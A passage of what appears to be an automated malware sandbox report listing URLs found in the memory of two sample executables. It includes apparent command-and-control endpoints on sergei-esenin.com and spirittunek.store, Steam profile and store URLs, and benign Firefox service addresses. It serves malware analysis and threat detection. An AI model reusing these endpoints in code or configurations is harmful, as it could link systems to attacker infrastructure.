Source: 3f779c1cca.exe, 0000000E.00000003.3100069911.000000000522F000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3135184648.000000000522E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3109186444.000000000522C000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3095999174.0000000005221000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3096679573.000000000522C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/4
Source: 3f779c1cca.exe, 0000000E.00000003.3100069911.000000000522F000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3109186444.000000000522C000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3095999174.0000000005221000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3096679573.000000000522C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/;TZ
Source: 3f779c1cca.exe, 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/?
Source: 3f779c1cca.exe, 0000000E.00000003.3147599105.000000000522E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3148556331.0000000005232000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3135184648.000000000522E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/CCAQIYAA==e
Source: file.exe, 00000000.00000003.2559608605.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559254561.0000000001694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/Vp_73
Source: 3f779c1cca.exe, 0000000E.00000003.3100069911.000000000522F000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3109186444.000000000522C000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3095999174.0000000005221000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3096679573.000000000522C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/XkggES
Source: file.exe, 00000000.00000003.2217084641.0000000001662000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294636893.00000000016AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.2964570009.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2998595500.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945056840.0000000001218000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2998973624.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977842849.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960551595.000000000121F000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3203526789.0000000005211000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.000000000071D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/api4T
Source: 3f779c1cca.exe, 0000000B.00000003.2945056840.0000000001218000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apiR
Source: 3f779c1cca.exe, 0000000E.00000003.3203526789.0000000005211000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apia
Source: 3f779c1cca.exe, 0000000E.00000003.3203526789.0000000005211000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apie
Source: 3f779c1cca.exe, 0000000E.00000003.3053464149.0000000000743000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apier
Source: file.exe, 00000000.00000003.2217084641.0000000001662000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apii
Source: file.exe, 00000000.00000003.2559608605.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559254561.0000000001694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apis
Source: 3f779c1cca.exe, 0000000E.00000003.3053464149.0000000000743000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apiw
Source: 3f779c1cca.exe, 0000000E.00000003.3135184648.000000000522E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3200844550.0000000005230000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/cT
Source: 3f779c1cca.exe, 0000000B.00000003.2977879833.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.0000000001212000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/o
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2998700446.000000000122C000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2999066594.000000000122B000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com:443/api
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://spirittunek.store:443/apiRaj6
Source: firefox.exe, 00000023.00000002.3205919876.0000022908212000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000023.00000002.3205919876.000002290829E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast.akamaized.net
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.000000000071D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/?subsection=b
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/?subsection=broadcaH
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/mx
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000003.2216660119.0000000001623000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001623000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.000000000071D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.2216660119.0000000001623000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001623000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900Z
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2216660119.0000000001617000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.2216660119.0000000001617000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 